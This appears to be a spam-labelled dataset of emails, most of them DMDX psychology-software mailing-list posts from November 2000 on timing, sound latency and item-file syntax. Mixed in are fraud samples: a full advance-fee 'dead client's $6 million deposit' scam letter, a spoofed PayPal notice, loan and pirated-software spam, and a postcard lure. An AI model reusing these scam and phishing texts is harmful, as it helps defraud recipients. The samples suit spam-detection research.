the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. 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Box 245002 Tucson, AZ 85724-5002 voice: 520-235-9588 fax: 253-369-3571 ",0,0 rscott4584@hotmail.com,XXXXXXXX@XXXX.XXXXXXX.XXX,"Sat, 04 Nov 2000 12:11:02 -0600",FreeClub- Get tons of Free Stuff For signing up,"Click Here to Play FreeClub.com's FREE $1,000,000.00 Lotto!",1,0 PayPal ,,"Sat, 04 Nov 2000 14:19:59 -0400",You have successfully added a new email address to your PayPal account!,"X-psy1.psych.arizona.edu X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [47 12] X-AntiAbuse: Sender Address Domain - paypals.com X-Source: X-Source-Args: X-Source-Dir: dddd Protect Your Account Info Make sure you never provide your password to fraudulent websites.PayPal will never ask you to enter your password in an email.For more information on protecting yourself from fraud, please review our Security Tips at https://www.paypal.com/us/securitytips Protect Your Password You should never give your PayPal password to anyone, including PayPal employees. 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I am contacting you concerning a deceased customer and an investment he placed under our banks management three years ago.I Would respectfully request that you keep the contents of this mail confidential and respect the integrity of the information you come by as a result of this mail. I am contacting you independently of our investigation and no one is informed of this communication. I would like to intimate you with certain facts that I believe would be of interest to you. In the year 2002, the subject matter; came to our bank to engage in business discussions with our private banking division. He informed us that he had a financial portfolio of Six Million United States dollars, which he wished to have us turn over (invest) on his behalf. I was the officer assigned to his case, I made numerous suggestions in line with my duties as the de-facto chief operations officer of the private banking sector then, especially given the volume of funds he wished to put into our bank. We met on numerous occasions prior to any investments being placed.I encouraged him to consider various growth funds with prime ratings. The favored route in my advice to customers is to start by assessing data on 6000 traditional stocks and bond managers and 2000 managers of alternative investments. Based on my advice, We spun the money around various opportunities and made attractive margins for our first months of operation, the accrued profit and interest stood at this point at over Two million United States Dollars, this margin was not the full potential of the fund but he desired low risk guaranteed returns on investments. In mid 2003, he asked that the money be liquidated because he needed to make an urgent investment requiring cash payments in Helsinki- Finland. He directed that I liquidate the funds and deposit it with a security firm. I informed him that my Bank would have to make special arrangements to have this done and in order not to circumvent due process, the bank would have to make a 9.5 % deduction from the funds to cater for banking and statutory charges. He complained about the charges but later came around when I explained to him the complexities of the task he was asking of us. Cash movement across boarders has become especially strict since the incidents of 9/11. I contacted my affiliate and made the funds available to the security firm. I undertook all the processes and made sure I followed his precise instructions to the letter and had the funds deposited with the security firm. The Security Firm is a specialist private firm that accepts deposits from high net worth individuals and blue chip corporations that handle valuable products or undertake transactions that need immediate access to cash. This small and highly private organization is familiar especially to the highly placed and well-connected organizations. In line with instructions, the money was deposited with the security firm. The deceased told me he wanted the money there in anticipation of his arrival from Norway later that week. This was the last communication we had, this transpired around 25th of November 2003.In June last year, we got a call from the security firm informing us about the inactivity of that particular portfolio. This was an astounding position as far as I was concerned, given the fact that I managed the private banking sector I was the only one who knew about the deposit at the security firm, and I could not understand why the deceased had not come forward to claim his deposit. I made futile efforts to locate the deceased. I immediately passed the task of locating him to the internal investigations department of Kleinwort Benson.Four days later, information started to trickle in, apparently our client was dead. A person who suited his description was declared dead of a heart attack in canne, in Southern part of France.We were soon enough to identify the body and cause of death was confirmed. The bank immediately launched an investigation into possible surviving next of kin to alert about the situation and also to come forward to claim his estate. If you are familiar with private banking affairs, those who patronize our services usually prefer anonymity, but also some levels of detachment from conventional processes. In his bio-data form, he listed no next of kin. In the field of private banking, opening an account with us means no one will know of its existence, accounts are rarely held under a name; depositors use numbers and codes to make the accounts anonymous. This bank also gives the choice to depositors of having their mail sent to them or held at the bank itself, ensuring that there are no traces of the account and as I said, rarely do they nominate next of kin. Private banking clients apart from not nominating next of kin also usually in most cases leave wills in our care, in this case; the deceased died without a testate. In line with our internal processes for account holders who have passed away, we instituted our own investigations in good faith to determine who should have right to claim the estate. This investigation has for the past months been unfruitful. We have scanned every continent and used our private investigation affiliate companies to get to the root of the problem. It is this investigation that resulted in my being furnished with your details as a possible relative of the deceased. My present official capacity as the Head of Finance dictates that I am the only party to supervise the investigation and the only party to receive the results of the investigation. What this means,is that our dear late fellow died with no known or identifiable family member. This leaves me as the only person with the full picture of what the prevailing situation is in relation to the deposit and the late beneficiary of the deposit. What I wish to relate to you will smack of unethical practice but I want you to understand something. It is only an outsider to the banking world who finds the internal politics of the banking world aberrational. The world of private banking especially is fraught with huge rewards for those that occupy certain offices and oversee certain portfolios. You should have begun by now to put together the general direction of what I propose. There is Six Million dollars deposited in a security firm, I alone have the deposit details and they will release the deposit to no one unless I instruct them to do so. I alone know of the existence of this deposit for as far as my Bank is concerned. The transaction with our late customer concluded when I sent the funds to the security firm, all outstanding interactions in relation to the file are just customer services and due process. The security Firm has no sign or idea,history or nature of the deposit. They are simply awaiting instructions to release the deposit to any party that comes forward. This is the situation. This bank has spent great amounts of money trying to track this man's family, they have investigated for months and have found no family. The investigation has come to an end. This is what i want to do,I now seek your permission to present you as a next of kin to the deceased, as all documentations will be carefully worked to make you the beneficiary to the funds $6,000 000 00 (Six Million United states Dollar),I am prepared to place you in a position to instruct The security Firm to release the deposit to you as the closest surviving relation. Upon receipt of the deposit,I am prepared to share the money with you. That is:- I will simply nominate you as the next of kin and have them release the deposit to you. We share the proceeds 60/40.I would have gone ahead to ask that the funds be released to me, but that would have drawn a straight line to me and my involvement in claiming the deposit. I assure you that I could have the deposit released to you within a few days. I will simply inform Kleinwort Benson of the final closing of the file relating to the deceased. I will then officially communicate with The Security Firm and instruct them to release the deposit to you. With these two things: all is done. The alternative would be for us to have The Security Firm direct the funds to another bank with you as account holder. This way there will be no need for you to think of receiving the money from The Security Company. We can fine-tune this based on our interactions am aware of the consequences of this proposal. I ask that if you find no interest in this project that you should discard this mail. I ask that you do not be vindictive and destructive. If my offer is of no appeal to you, delete this message and forget I ever contacted you. Do not destroy my career because you do not approve of my proposal. You may not know this but people like myself who have made tidy sums out of comparable situations run the whole private banking sector. I am not a criminal and what I do, I do not find against good conscience, this may be hard for you to understand, but the dynamics of my industry dictates that I make this move. Such opportunities only come ones' way once in a lifetime. I cannot let this chance pass me by, for once I find myself in total control of my destiny. These chances won't pass me by. I ask that you do not destroy my chance, if you will not work with me let me know and let me move on with my life but do not destroy me. There is a reward for this project and it is a task well worth undertaking. I have evaluated the risks and the only risk I have here is from you refusing to work with me and alerting my bank. I am the only one who knows of this situation, good fortune has blessed you with a luck that has planted you into the center of relevance in my life. Let's share the blessing. If you find yourself able to work with me, contact me through this email account. If you give me positive signals, I will initiate this process towards a conclusion. I wish to inform you that should you contact me via official channels; I will deny knowing you and about this project. I repeat, I do not want you contacting me through my official phone lines nor do I want you contacting me through my official email account. Contact me only through the numbers I will provide for you and also through this email address. I do not want any direct link between you and myself. My official lines are not secured lines as they are periodically monitored to assess our level of customer care in line with our Total Quality Management Policy.Please observe this instruction religiously. Please, again, note that I am a family man, I have a wife and children. I send you this mail not without a measure of fear as to what the consequences, but I know within me that nothing ventured is nothing gained and that success and riches never come easy or on a platter of gold. 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I have three programs that I am working with, two are giving me the message and one is running fine. here are the two not working: F833 d5 and F839 d5 this is the one that is working: F839 d5 I have tried saving it in wordpad which has solved these type of errors in the past but does not seems to be working now. And taking the PIO12 out of the first programs parameter line doesn't help either. In Desparate Need of Help, Pamela Sanity is the playground for the unimaginative.",0,0 """Moises K. Holloway"" ",DMDX@psy1.psych.arizona.edu,"Mon, 06 Nov 2000 00:24:24 -0600",Yours loan is approved nnnhs4,"Dear Homeowner, DMDX@psy1.psych.arizona.edu http://lowlow1refinance.com/goodstep/ You have been approved for a $ 698,688 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. To take advantage of this Limited Time Opportunity, please take a minute and confirm your curiosity or intention to accept this loan, at the following web-site: http://lowlow1refinance.com/goodstep/ Best Regards Don Nut Loan Manager http://lowlow1refinance.com/lit.html DMDX@psy1.psych.arizona.edu wrote: > We can approve yours loan yt7azy1rwm ",1,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 06 Nov 2000 12:35:29 -0700",[DMDX] Re: error message ,"Use the latest version of DMDX and check the 'Ignore Unknown RTF' check box. If text isn't displayed correctly then you've used something that DMDX needs to know about and you'll have to send me a copy of the RTF item file. At 09:37 AM 11/6/00 -0700, you wrote: >I have been getting this error message: RTF word used in quotes, not >supprted. > >I have three programs that I am working with, two are giving me the message >and one is running fine. here are the two not working: > > F833 d5 > > >and > > F839 d5 > > >this is the one that is working: > > F839 d5 > > >I have tried saving it in wordpad which has solved these type of errors >in the past but does not seems to be working now. And taking the PIO12 out >of the first programs parameter line doesn't help either. > >In Desparate Need of Help, >Pamela > >Sanity is the playground for the unimaginative. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong.",0,1 Pamela Perschler ,DMDX@psy1.psych.arizona.edu,"Mon, 06 Nov 2000 13:28:13 -0700",[DMDX] RE: Re: error message ,"Thanks it didn't seem to help...I just got a different error. What did wok was saving to another disk. Sanity is the playground for the unimaginative. ",0,0 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Mon, 06 Nov 2000 19:16:15 -0500",[DMDX] PIO / Sound latency slop,"Dear all, We connected a dual channel oscilloscope to the sound card and PIO/12 to run TimeDX's sound latency test, and are getting a range of approximately 6 msec of slop between the onset of a trigger and the offset of the sound. Is this comparable to what others are getting, and is there any way to fix this (barring building an ""and"" gate and a sound trigger)? Do other ERP and startle researchers accept a rang eof 6 msec of slop as acceptable? thanks, John ___________________________________________________________________________ John P. Kline, Ph.D. Office Phone: 850-644-9363 Assistant Professor Lab Phone: 850-644-2049 Department of Psychology Fax: 850-644-7739 Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ___________________________________________________________________________ ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 06 Nov 2000 17:59:38 -0700",[DMDX] Re: PIO / Sound latency slop,"At 07:16 PM 11/6/00 -0500, you wrote: >Dear all, > >We connected a dual channel oscilloscope to the sound card and PIO/12 to >run TimeDX's sound latency test, and are getting a range of approximately 6 >msec of slop between the onset of a trigger and the offset of the sound. >Is this comparable to what others are getting, and is there any way to fix >this (barring building an ""and"" gate and a sound trigger)? Do other ERP >and startle researchers accept a rang eof 6 msec of slop as acceptable? Good sound cards have less variability, that's for sure. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Any simple theory will be worded in the most complicated way. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 06 Nov 2000 18:06:13 -0700",[DMDX] Re: PIO / Sound latency slop,"At 05:59 PM 11/6/00 -0700, you wrote: > Good sound cards have less variability, that's for sure. Oh yeah, there's another thing you can do to decrease the sound latency variability, but IIRC that only affects variability when DMDX plays sounds, the TimeDX tests are not affected by this. That is to increase the priority of the sound thread, there's a discussion of it somewhere, probably TimeDX help file. Be warned, increasing the sound thread priority decreases retrace tracking accuracy, it's a direct trade off, either the code is paying attention to playing sounds or it's tracking the retrace, can't do both at once. I would imagine with later day machines and the CPU cycles available on them that you can increase the sound thread priority without penalty as long as the percentage of timed out retraces is really low. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Any simple theory will be worded in the most complicated way. ",0,0 """John P. Kline"" ","DMDX@psy1.psych.arizona.edu, DMDX@psy1.psych.arizona.edu","Mon, 06 Nov 2000 21:58:57 -0500",[DMDX] Re: PIO / Sound latency slop,"Jonathan, This is good information, thanks. Since the video in this particular study is not as time-critical as the sound, this might be an option. It may be more time and cost effective than building speciality equipment, especially if we can decrease the jitter to acceptable levels. cheers, John At 06:06 PM 11/6/00 -0700, j.c.f. wrote: >At 05:59 PM 11/6/00 -0700, you wrote: >> Good sound cards have less variability, that's for sure. > > Oh yeah, there's another thing you can do to decrease the sound latency >variability, but IIRC that only affects variability when DMDX plays sounds, >the TimeDX tests are not affected by this. That is to increase the >priority of the sound thread, there's a discussion of it somewhere, >probably TimeDX help file. Be warned, increasing the sound thread priority >decreases retrace tracking accuracy, it's a direct trade off, either the >code is paying attention to playing sounds or it's tracking the retrace, >can't do both at once. I would imagine with later day machines and the CPU >cycles available on them that you can increase the sound thread priority >without penalty as long as the percentage of timed out retraces is really low. > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > Any simple theory will be worded in the most complicated way. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > ___________________________________________________________________________ John P. Kline, Ph.D. Office Phone: 850-644-9363 Assistant Professor Lab Phone: 850-644-2049 Department of Psychology Fax: 850-644-7739 Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ___________________________________________________________________________ ",0,1 """Pitfall U. Aerial"" ",Bait ,"Tue, 07 Nov 2000 13:41:10 -0400",Software,"Three steps to the software you need at the prices you want. All best software! New software on our site: SQL Server 2000 Enterprise Edition - $69.95 Quark Xpress 6 Passport Multilanguage - $69.95 Plus! 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My bet is buying a new audio card (one with hardware buffers on it) is going to solve all your problems. Hell, even with the SB16 in the testbed I see variability of less then 1.5ms using the , playing a beep and looping the output of the sound card to the input. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Any simple theory will be worded in the most complicated way.",0,0 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Tue, 07 Nov 2000 11:53:43 -0500",[DMDX] Re: PIO / Sound latency slop,"At 09:16 AM 11/7/00 -0700, you wrote: >At 09:58 PM 11/6/00 -0500, you wrote: >>Jonathan, >> >>This is good information, thanks. Since the video in this particular study >>is not as time-critical as the sound, this might be an option. It may be >>more time and cost effective than building speciality equipment, especially >>if we can decrease the jitter to acceptable levels. > > My bet is buying a new audio card (one with hardware buffers on it) is >going to solve all your problems. Hell, even with the SB16 in the testbed >I see variability of less then 1.5ms using the , playing a beep >and looping the output of the sound card to the input. The problem we have is between the latency of the sound and the latency of the PIO-12 output. I will double check this, but believe that the sound card is a recent creative labs PCI card. I am also going to go back through the system and make sure there isn't any big stupid code running that I am unaware of. again, thanks! John _____________________________________________________________________________ John P. Kline, Ph.D. Phone: 850-644-9363 Assistant Professor Fax: 850-644-7739 Department of Psychology Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ______________________________________________________________________________",0,1 Jean-Francois Nedelec ,DMDX@psy1.psych.arizona.edu,"Tue, 07 Nov 2000 19:40:59 +0100",[DMDX] DelayPB,"Hello everybody, I am back to DMDX stuff and getting some pb in adjusting trigger and making loop the refresh times is set to 15 ms (ticks) 0 d10 ""image1""; 250 d33 ""image2""; 250 d33 ""image1""; 250 d33 ""image2""; 250 d33 ""image1""; 250 d33 ""image2""; 250 d33 ""image2""; and so on 6 times first : this running must faster ( 2s instead of 3s which is the interval between 2 triggers) What is the code to loop (or count) for 6 times. THanks for help Jean-Francois",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 07 Nov 2000 12:45:37 -0700",[DMDX] Re: DelayPB,"At 07:40 PM 11/7/00 +0100, you wrote: >Hello everybody, > >I am back to DMDX stuff and getting some >pb in adjusting trigger and making loop > >the refresh times is set to 15 ms (ticks) 'Set' as in you are specifically subtracting lines from a display mode? >0 d10 ""image1""; >250 d33 ""image2""; >250 d33 ""image1""; >250 d33 ""image2""; >250 d33 ""image1""; >250 d33 ""image2""; >250 d33 ""image2""; >and so on 6 times > >first : this running must faster ( 2s instead of 3s which is the >interval >between 2 triggers) Your frame interval must not be 15ms. The following item file runs for 3s from second request to the time the ""end"" is displayed on my testbed that has a refresh interval of 16.667ms: d100 f30 0 ""test the bmp timing stuff""; 0 d10 g ""river""; 255 d30 g ""marsglob""; 255 d30 g ""river""; 255 d30 g ""marsglob""; 255 d30 g ""river""; 255 d30 g ""marsglob""; 255 d30 g ""river""; 0 d30 ""end"" l; >What is the code to loop (or count) for 6 times. Look in the help file under the keyword. Basically looking at anything to do with counters has a link to the explanations. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 08 Nov 2000 18:12:08 -0700",[DMDX] Fwd: QueryPerformanceCounter() time warp problem," Hmm, just received this worrying post from the developers list: >FYI: Microsoft finally posted KB article Q274323 regarding >QueryPerformanceCounter() problems with buggy chipsets. Available here: > >http://support.microsoft.com/support/kb/articles/Q274/3/23.ASP > > Multiple chipsets are affected (the article details which specific ones), >most notably the popular Intel 82371AB south bridge (PIIX4[E]). On >these systems, QPC() will appear to time warp by +4.7 seconds (approx >0xFFFF00) every once in a while. Version 2 of DMDX uses QueryPerformanceCounter() exclusively for timing and although there seems to be some debate as to whether win98 ever experiences the problem it's a definite under win2k. I suggest anyone who suspects that they have one of these chipsets use the TimeDX Millisecond Timer test and check that they don't get enormous deltas (in the order of 4.7 seconds as opposed to a few milliseconds) between callbacks. I'm not likely to add code to DMDX to offset this, it's distinctly possible that DMDX's current error recovery schemes will deal with this in a completely graceful and error free manner as it reschedules the display queue when errors are detected by the amount of the error, if the error is in fact spurious it will just move everything forward to where it should be given the new QPC() time. The only time a real display error would occur that DMDX would not detect would be if it was presenting a frame for more than the error amount, 4.7 seconds, then that frame would probably be presented for 4.7 seconds less that it should be. If people can't live with that I suggest they buy a new motherboard for that machine, I don't really want to add code that is going to represent yet another constant time drain on DMDX's activity that is essentially making up for broken silicon, if you want to do hard science get good hardware. OTOH if we find dozens of machines that exhibit this failure I might have to do something. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Any simple theory will be worded in the most complicated way. ",0,1 Jean-Francois Nedelec ,DMDX@psy1.psych.arizona.edu,"Thu, 09 Nov 2000 14:30:16 +0100",[DMDX] Loopsetup,"Hello everybody, I wrote the following code and I have 2 questions from it. 0 ""Loop Timing Test""; 250 11 d393 g ""cross"" ; 0 ""Test Done""; The cross display last for 60s (59890 ms exactly) 1- However there is a 6s delay before the cross is displayed (6s correspond to 393 ticks) I don't understand that. Any suggestions ? 2- How to I introduce the use of a trigger into a loop I tried 0 d393 g ""cross"" ; NO success . Any help ? Thanks Jean-Francois",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 09 Nov 2000 09:25:20 -0700",[DMDX] Re: Loopsetup,"At 02:30 PM 11/9/00 +0100, you wrote: >Hello everybody, > >I wrote the following code and I have 2 questions > >from it. > > > >0 ""Loop Timing Test""; > >250 > >11 d393 g ""cross"" ; > >0 ""Test Done""; > >The cross display last for 60s (59890 ms exactly) > > > >1- However there is a 6s delay before the cross is displayed > >(6s correspond to 393 ticks) I don't understand that. > >Any suggestions ? D is a delay parameter, it *delays* the display of the frame. The reason we use it is to determine the duration of the *previous* item's last frame so we can be loading the next frame's bitmap(s) as the previous is displaying. If you don't want an initial delay and you can guarantee that the bitmap for the display has been loaded already by using it in the previous item you can have an initial item with a much lower delay (it will still have to be something > 0, the preparation B time still has to be allowed for) and only loop 9 times: 0 ""Loop Timing Test"" / %0! g ""cross""; 1 d5 g ""cross""; 250 11 d393 g ""cross"" ; 0 d393 ""Test Done""; Note that the last instruction has to be delayed too to allow the last frame to be displayed for the correct duration. >2- How to I introduce the use of a trigger into a loop > >I tried > >0 d393 g ""cross"" ; > >NO success . Any help ? Don't use 0 as a branch destination, -0 is in fact 0 which is not less than 0 so the code can't branch backwards to an item number 0. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Dimensions will always be expressed in the least usable term. Velocity, for example, will be expressed in furlongs per fortnight.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 09 Nov 2000 09:43:02 -0700",[DMDX] QPC testing,"For a DMDX test of QueryPerformanceCounter and item file like the following will do the job: f30 0 ""Display Test Mode 3""; 5 ""Test Mode 3"" / ; 0 ""end"" l; Because the test is continuously updating the display there will be a lot of traffic on the bus to produce the error, although the chipset error may require PCI traffic to manifest, if so (assuming you don't have a PCI video card in which case this test should suffice) a looping item file playing audio may be better. If you are watching the display my guess is that the error is going to manifest as a 4700ms latency but you won't see DMDX pause for 4.7 seconds as would be the case if the error were genuine. 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In previous versions of DMDX it was required that the desktop *not* be extended onto the subjects display for DMDX to run correctly, with the redesign of all things multimon it is now necessary to extend the windows desktop display onto the subjects display, if you don't we now know what happens, white experimenter's screens when running jobs... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 10 Nov 2000 22:32:51 -0700",[DMDX] ListServ Threader V1.00," Ok, about a year later than I originally anticipated we have passable listserv threading program, a year later because the code that generates the archive HTML is about an order of magnitude more complex than I imagined it would be (email is not a very rigidly defined format). Now messages are binned by the month that they occur in (I like that post of Anna's in Jan 100, never noticed that before). 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We did this with an Oscilloscope, but then I did it again by building a voltage divider and placing it between my sound output and the input on the headbox of my Neuroscan synamps (i.e. to down-step the voltage into the mvolt range, so that the Synamps can handle it... not with a subject hooked up, mind you). I conducted a couple of tests: the sound latency test in TimeDX, and another test where I put together a simple item file with triggers and sounds. I then rectified and averaged the sound file output over 30 trials, and took the mean onset latency, defined as the time from the trigger to the half amplitude of the sound signal. I have a jitter range of about +/- 3 msec. This doesn't appear to affect our pilot ERP recordings, nor our pilot startle recordings... but I would like to decrease this if at all possible. If I can't decrease it by purchasing commercial hardware (a sound card), I may build a buffered ""AND"" gate, i.e. that will store the 8 bit word from the CIO/DIO 24 and write it out simultaneously with, or at least within nanoseconds of the measured sound pulse (measured from the output of the sound card). Do you have recommendations for fast, buffered sound cards? I've solved the latency problem"" It seems that measuring the latency, and then replacing the default ""observed latency"" value with the measured value (around 17 msec) in TimeDX took care of this. The slop range is still around +/- 3 msec.... This would be acceptable in a pinch, but i'd still like to decrease it if I can, even if it means purchasing a better sound card. thanks, John _____________________________________________________________________________ John P. Kline, Ph.D. Phone: 850-644-9363 Assistant Professor Fax: 850-644-7739 Department of Psychology Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ______________________________________________________________________________ ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 11 Nov 2000 22:47:33 -0700",[DMDX] Re: PIO / Sound latency slop,"At 09:33 PM 11/11/00 -0500, you wrote: >Do you have recommendations for fast, buffered sound cards? I've solved >the latency problem"" It seems that measuring the latency, and then >replacing the default ""observed latency"" value with the measured value >(around 17 msec) in TimeDX took care of this. The slop range is still >around +/- 3 msec.... This would be acceptable in a pinch, but i'd still >like to decrease it if I can, even if it means purchasing a better sound card. 17ms is a ___huge___ latency, and anything with that much latency is more than likely to have a variability to match. That Sound Blaster 128 must suck righteously, I'm pretty sure I've read plenty of disparaging remarks about them on the developers lists too (something to do with the complete data for a given waveform having to be transferred over the PCI bus to their on board memory before it can be played screwing things up). Latency of the Turtle Beach Montego A3DXstream is around 1.5ms, I'd say anything with the Aureal chips in them will perform in the same fashion. Faster CPU doesn't hurt either as the faster windows is doing the things that preempt DMDX the less variability DMDX exhibits when doing things like outputting data to the PIO at a certain time. Pretty sure one of the people in Britain, Mike Ford maybe, had another sound card with hardware buffers on it and a nice low latency (and therefore low variability is likely) too, don't recall what card it was, he'll have to chip in here. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Dimensions will always be expressed in the least usable term. Velocity, for example, will be expressed in furlongs per fortnight. ",0,0 """postcard.com"" ",DMDX@psy1.psych.arizona.edu,"Sun, 12 Nov 2000 02:35:01 +0100",You have received a postcard !,"Hello friend ! You have just received a postcard from someone who cares about you! This is a part of the message: ""Hi there! It has been a long time since I haven't heared about you! I've just found out about this service from Sharon, a friend of mine who also told me that..."" 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If you have a in your parameter line you can't have and as well switches, right? You either have to specify for the whole script or for each individual frame? Thanks - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 13 Nov 2000 09:28:33 -0700",[DMDX] Re: Colour keywords,"At 03:57 PM 11/13/00 +0000, you wrote: >Hi. Just want to make something clear in response to a query. If you have >a in your parameter line you can't have and as well >switches, right? You either have to specify for the whole script or for >each individual frame? No, specifying the defaults doesn't stop you overriding them. The default keywords and are there to override the color of your rtf file, and (if used in a frame) are there to override whatever the default color for a frame is, whatever that happens to be, whether it came from a or or whether it came from the color of text in the rtf file. If there's any confusion it's probably comes from and being synonyms for the defaults if used in the parameter line, this comes from ancient DMTG usage and is unavoidable. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Dimensions will always be expressed in the least usable term. Velocity, for example, will be expressed in furlongs per fortnight.",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Mon, 13 Nov 2000 17:25:37 +0000",[DMDX] Re: Colour keywords,"I think I'm having some kind of problem with my machine, I'll get back to you if this turns out not to be the case. My machine seems to hang when I have defined default colours in the parameter lines and then have other colours as switches. Mondays, I love 'em. - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 13 Nov 2000 11:21:24 -0700",[DMDX] Re: Colour keywords,"At 05:25 PM 11/13/00 +0000, you wrote: >I think I'm having some kind of problem with my machine, I'll get back to >you if this turns out not to be the case. My machine seems to hang when I >have defined default colours in the parameter lines and then have other >colours as switches. Could be a bug, specifying the color in the frame is not a widely used feature given that the color can be specified by the color of the text in the .RTF file. You might try using when you get hangs, it increases the frequency that DMDX checks for the escape key. Normally it won't do this as the display is active to lessen the frequency of display errors, however if the display stops for some reason DMDX won't be checking for escape ever... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Dimensions will always be expressed in the least usable term. Velocity, for example, will be expressed in furlongs per fortnight.",0,0 Mike Dobbs ,DMDX@psy1.psych.arizona.edu,"Mon, 13 Nov 2000 12:44:46 -0800","[DMDX] ""Direct Input"" Error","Greetings! I just downloaded DMDX for Windows 98 and am trying to run TimeDX - I keep getting an error message saying ""DirectInputCreate failed - DIERR_OLDDIRECTINPUTVERSION(8007047e) - The application requires a new version of DirectInput"". What is DirectInput, and how do I get a new version of it? Thanks for any help! Mike Dobbs Senior Project Coordinator Department of Psychology Claremont Graduate University ------------------------------------------------------------------------------- Join the ""No Brownbag"" campaign - get your lunchbox at Lunchboxshop.com today!! http://www.lunchboxshop.com ",0,1 Josh Cowley ,DMDX@psy1.psych.arizona.edu,"Mon, 13 Nov 2000 15:17:41 -0700",[DMDX] Output keywords,"I'm trying to test the output of a PIO12 card and I'm getting confused about the relationship between numbers associated with the Output command and the pins that fire when the command is used. Suppose I wanted to fire output 0 by itself. Then I fire output 1, then output 2, each by themselves. What number should follow the Output command for each of these? thanks, Josh -- Josh Cowley Department of Philosophy The University of Arizona PO Box 210027 Tucson, AZ 85721 cowley@u.arizona.edu ",0,0 Josh Cowley ,DMDX@psy1.psych.arizona.edu,"Mon, 13 Nov 2000 15:36:00 -0700",[DMDX] PIO12 Inputs,"I was looking at the schematic in the TimeDX help file on how to set up a PIO12 input. I would like to set up a 3 button mouse so that Button-1 is Neg-response, Button 2 is Pos-repsonse and Button-3 is VOX. Coming out of the mouse I have 4 wires (W1,W2,W3,W4). W1-W3 is for each button. When a button1 is pushed it closes a circuit between W1 and W4. Likewise for button 2 and 3. As I understand the schematic, I want W1 to connect W1 to pin 36 (neg-response) W2 to pin 35 (pos-response) and W3 to pin 33 (VOX). Where do I connect W4? I think it should be pin 18 (+5v), but in the schematic it looks like you have a connection to pin 19 (ground) which I don't understand. thanks, Josh -- Josh Cowley Department of Philosophy The University of Arizona PO Box 210027 Tucson, AZ 85721 cowley@u.arizona.edu ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 13 Nov 2000 15:55:52 -0700","[DMDX] Re: ""Direct Input"" 